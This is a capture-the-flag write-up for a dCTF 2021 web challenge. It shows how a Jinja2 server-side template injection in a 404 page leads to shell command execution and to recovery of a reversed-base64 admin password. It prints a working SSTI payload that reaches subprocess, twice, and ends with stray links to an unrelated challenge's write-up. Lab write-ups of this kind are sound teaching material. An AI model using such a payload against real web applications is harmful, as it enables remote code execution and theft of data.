# Injection

http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

![Pasted image 20210516170501](https://user-
images.githubusercontent.com/70921512/118423622-d387a380-b69b-11eb-95e3-50008df586c3.png)

There is an admin login with the parameters "User", "Password" and a hidden
"Submit".

Inputting anything into these won't work, and we'll be redirected to `/login`
where we get the message:

`Oops! Page login doesn't exist :(`

I really didn't know how to work this one out. I tried looking at the
robots.txt, other known directories, the root directory where the image is
stored, but nothing.

Eventually, I figured the website was responding to anything that I was
throwing at it through the 404 response page, even xss:

![Pasted image 20210516170833](https://user-
images.githubusercontent.com/70921512/118423632-da161b00-b69b-11eb-9827-b4165a4be012.png)

But eh, couldn't figure it out for a while. I initially thought it was SQLi,
and was put off by it because I know barely any SQLi.

After googling a bit more I found some CTF writeups that had something
similar, and eventually landed on the `SSTI` keyword...

Stupidly enough I had already read about SSTIs prior to this, but I couldn't
make the connection earlier.

# Solution  
So we try:  
`http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}`  
and we get

`Oops! Page 2 doesn't exist :(`

Nice.

`{{config}}` gives us a bunch of data, among it:

` 'MESSAGE': 'You are getting closer!`

After that it becomes trivial, and we just have to find a way to get terminal
access. We eventually land on:

`{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}`
<< where COMMAND is our command.

Running `ls`:  
`app.py  
lib  
static  
templates`

Running `ls lib`:  
`security.py`

Running `cat lib/security.py`

```  
import base64

def validate_login(username, password):  
if username != 'admin':  
return False  
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'  
return
base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=')
== valid_password  
```  
  
So we just get the password encoded in a backwards b64, just flip it and
decode it:  
  
```  
base64.b64decode(password[::-1]+"==")  
b'dctf{4ll_us3r_1nput_1s_3v1l}'  
```

And we get the flag :D

# Notes:

Sometimes, the environment will be vary a lot. Most of the payloads I tried
that I found online wouldn't work, so I had to craft my own. To make it, I
used this medium article that was AMAZING:

https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

#----------  
`{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}`  

Original writeup
(https://github.com/xxonorg/dCTF2021_Writeup/blob/main/Injection.md).Jinja2 SSTI with a character filter.

Full writeup: [https://ctf.rip/write-ups/web/tmuctf-
injection/](https://ctf.rip/write-ups/web/tmuctf-injection/)

Original writeup (https://ctf.rip/write-ups/web/tmuctf-injection/).